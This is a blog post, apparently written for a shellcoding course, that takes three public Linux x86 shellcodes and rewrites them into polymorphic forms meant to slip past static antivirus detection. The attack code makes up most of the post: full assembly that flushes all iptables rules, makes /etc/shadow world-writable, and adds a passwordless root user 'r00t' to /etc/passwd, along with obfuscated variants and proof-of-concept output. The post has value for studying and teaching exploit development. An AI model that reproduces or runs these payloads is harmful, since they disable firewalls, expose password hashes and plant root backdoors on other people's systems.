Introduction

In this blog post we will be discussing how publicly available shellcode samples, can be modified in order to generate copies of them, with a different form but with the same functionality.

In general, this technique alone, is not sufficient to bypass AV/EDR solutions currently in use, since they don’t rely only on static analysis. At the same time, generating polymorphic variations of the shellcode, if done in conjunction with other obfuscation techniques, may help in staying under the radar.

Shellcode sample #1

The shellcode can be used to delete every rule in every iptables chain, by calling the iptables binary with the -F (flush) option.

  • Source: Shellstorm
  • Author: /rootteam/dev0id
  • Shellcode size: 58 bytes
  • Architecture: Linux/x86
  • Command: /sbin/iptables -F

Below is the original shellcode sample taken from shell-storm. As we done with in previous episodes of the Linux x86 shellcoding series, we can go over each instruction, and add a comment to describe what it does.

global _start

section .text

_start:

    jmp short   callme

    main:
        pop esi                     ; pointer to buffer with command string
        xor eax, eax                ; reset eax
        mov byte [esi+14], al       ; replace '#' with \x00
        mov byte [esi+17], al       ; replace '#' with \x00
        mov long [esi+18], esi      ; *filepath (4 byte address)
        lea ebx, [esi+15]           ; /sbin/iptables
        mov long [esi+22], ebx
        mov long [esi+26], eax
        mov al, 0x0b                ; execve syscall
        mov ebx, esi                ; 1st arg: *filepath
        lea ecx, [esi+18]           ; 2nd arg: [*filepath, "-F"]
        lea edx, [esi+26]           ; 3rd arg: 0x00000000
        int 0x80

    callme:
        call main
        db '/sbin/iptables#-F#'     ; string length: 18

Polymorphic version

A variation of the original shellcode has been obtained by pushing the /sbin/iptables#-F string to the stack (in reverse), instead of using the jmp-call-pop technique.

global _start

section .text

_start:

    ; push 0x00000000 to stack for envp[]
    xor eax, eax
    push eax
    mov edx, esp            ; 3rd arg: envp[] = NULL

    ; push "///sbin//iptables#-F' string to stack
    push 0x462d2373         ; 'F-#s'
    push 0x656c6261         ; 'elba'
    push 0x7470692f         ; 'tpi/'
    push 0x2f6e6962         ; '/nib'
    push 0x732f2f2f         ; 's///'

    ; replace '#' with null byte
    mov byte [esp+17], al

    mov ebx, esp            ; 1st arg: *filename

    ; 2nd arg: *argv = [**filename, *"-F\0", NULL]
    ; pushed in reverse (right to left)
    xor eax, eax
    push eax
    lea ecx, [ebx+18]
    push ecx
    push ebx
    mov ecx, esp

    mov al, 0xb
    int 0x80

Proof-of-Concept

With the shellcode ready, we now need to test if it’s actually capable of flushing all existing iptables rules. To do so, we can now add a new rule to the INPUT chain, that drops all ICMP packets coming from 192.168.56.101.

$ sudo /sbin/iptables -A INPUT -p icmp -s 192.168.56.101 -j DROP
$ sudo /sbin/iptables -L INPUT
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
DROP       icmp --  192.168.56.101       anywhere

We can then run compile.sh script, and run the executable.

$ sudo ./run_sc
Shellcode length: 51 bytes
$ sudo /sbin/iptables -L INPUT
Chain INPUT (policy ACCEPT)
target     prot opt source               destination

Great! The shellcode is working, and its size has been reduced from 58 bytes to 51 bytes (~12.1% decrement).

Shellcode sample #2

The shellcode can be used to change the permissions for /etc/shadow so that all users have RWX permissions over it.

  • Source: Shellstorm
  • Author: Osanda Malith Jayathissa (@OsandaMalith)
  • Shellcode size: 51 bytes
  • Architecture: Linux/x86
  • Command: chmod 0777 /etc/shadow

Below is the original shellcode sample taken from shell-storm, with comments added to describe what each instruction does.

section .text
global _start

_start:
    mov ebx, eax                    ; junk
    xor eax, ebx                    ; reset eax
    push dword eax                  ; push 0x00000000 (NULL)
    mov esi, 0x563a1f3e
    add esi, 0x21354523             ; ESI = 0x776F6461
    mov dword [esp-4], esi          ; push 0x776F6461    "/etc//shadowadow"
    mov dword [esp-8], 0x68732f2f   ; push 0x68732f2f    Length: 16 but 12/16 used
    mov dword [esp-12], 0x6374652f  ; push 0x6374652f
    sub esp, 12                     ; manual stack alignment (since push hasn't been used)
    mov ebx,esp                     ; EBX point to stack with args
    push word  0x1ff
    pop cx                          ; ECX = 0x000001ff = 777 in octal
    mov al,0xf                      ; chmod syscall
    int 0x80

On Linux, file permissions can be modified with the chmod system call. We can read its manual entry with man 2 chmod.

The most important part to look at is the function signature, which shows all the arguments that should be given to the function.

int chmod(const char *pathname, mode_t mode);

The function takes in a pointer to the string with the filename, and the access mask.

Polymorphic version

To create a polymorphic variation of the original shellcode, we can once again refactor the assembly code with the target filename pushed on the stack in reverse, move the bit mask to cx, and use the chmod syscall.

global _start

section .text
_start:

    xor eax, eax
    mov ecx, eax

    push 0x23776f64         ; '#wod'
    push 0x6168732f         ; 'ahs/'
    push 0x6374652f         ; 'cte/'
    mov byte [esp+11], al   ; replace '#' with \0
    mov ebx, esp            ; pointer to pathname
    mov word cx, 0x1ff      ; set mode to 777
    mov al, 0xf             ; chmod syscall
    int 0x80

Proof-of-Concept

Original /etc/shadow permissions

$ stat /etc/shadow | grep Access | head -n1
Access: (0640/-rw-r-----)  Uid: (    0/    root)   Gid: (   42/  shadow)

After the shellcode is executed:

$ sudo ./run_sc
Shellcode length: 34 bytes
$ stat /etc/shadow | grep Access | head -n1
Access: (0777/-rwxrwxrwx)  Uid: (    0/    root)   Gid: (   42/  shadow)

Everything is still working as expected and the shellcode size has been reduced from 51 bytes to 34 bytes (33.3% decrement).

Shellcode sample #3

The following shellcode sample, once again take from shell-storm, appends a new line to /etc/passwd to add a new local user (named r00t) with root permissions.

  • Source: [Shellstorm]http://shell-storm.org/shellcode/files/shellcode-211.php)
  • Author: Kris Katterjohn
  • Shellcode size: 69 bytes
  • Architecture: Linux/x86
  • Command: write("/etc/passwd", "r00t::0:0:::", 12)
section .text
global _start

_start:

; open("/etc//passwd", O_WRONLY | O_APPEND)

    push byte 5
    pop eax            ; open syscall
    xor ecx, ecx       ; reset ecx
    push ecx           ; push NULL
    push 0x64777373    ;
    push 0x61702f2f    ;
    push 0x6374652f    ; 1st arg: EBX = pointer to "/etc//passwd" string on stack
    mov ebx, esp       ;
    mov cx, 02001Q     ; 2nd arg: ECX = 2001 (Q=octal in NASM)
    int 0x80

    mov ebx, eax       ; store file handle in EBX for later use

; write(ebx, "r00t::0:0:::", 12)
                       ; 1st arg: EBX = pointer to "/etc//passwd" string on stack
    push byte 4
    pop eax            ; write syscall
    xor edx, edx       ; reset edx
    push edx           ; push NULL
    push 0x3a3a3a30    ;
    push 0x3a303a3a    ;
    push 0x74303072    ;
    mov ecx, esp       ; 2nd arg: ECX = pointer to "r00t::0..." string on stack
    push byte 12
    pop edx            ; EDX = 0xC
    int 0x80

; close(ebx)
    push byte 6
    pop eax            ; close syscall
    int 0x80

; exit()
    push byte 1
    pop eax            ; exit syscall
    int 0x80

Polymorphic version

global _start

section .text
_start:

    ; reset registers (w/ mild obfuscation)
    mov ebx, 0x9e2aab3e
    add ebx, 0x61d554c2
    mul ebx             ; sets EBX=0, EDX=0
    mov ecx, eax

    ; open("/etc//passwd", O_WRONLY | O_APPEND)

    push edx            ; push NULL
    push 0x64777373     ; "dwss"
    push 0x9e8fd0d0     ; NOT("ap//")
    push 0x6374652f     ; "cte/"
    mov ebx, esp
    mov cx, 02001Q
    mov al, 0x05
    not dword [esp+4]   ; decode middle 4 bytes of the filepath string
    int 0x80

    mov ebx, eax        ; store file handle in EBX for later use

    ; write(ebx, "r00t::0:0:::", 12)
    mov eax, edx        ; reset EAX
    push eax
    push 0x3a3a3a30     ; "r00t::0..."
    push 0x3a303a3a     ;
    push 0x74303072     ;
    mov ecx, esp        ; pointer to "r00t::0..." string on stack
    mov dl, 0xC
    mov al, 0x04
    int 0x80

    ; close(ebx)
    xor eax, eax
    mov al, 0x06        ; close syscall
    int 0x80


    ; exit()
    mov al, 0x01
    int 0x80

Proof-of-Concept

Before the shellcode is run, there is no r00t user.

$ cat /etc/passwd | grep r00t

After the shellcode is run by root, a new entry for user r00t is added to /etc/passwd.

# ./run_sc
Shellcode length: 84 bytes
$ cat /etc/passwd | grep r00t
r00t::0:0:::

The new shellcode size is 85 bytes, which is a ~31.25% increment in size, compared to the original shellcode, which was 69 bytes long.

Wrapping Up

In this post we have experimented with creating polymorphic version of publicly available shellcode samples, without increasing their sie too much. As always, if you want to check out the polymorphic samples and the scripts created to complete this assignmnet, you can refer to the following repository in my Github.

Thank you for reading!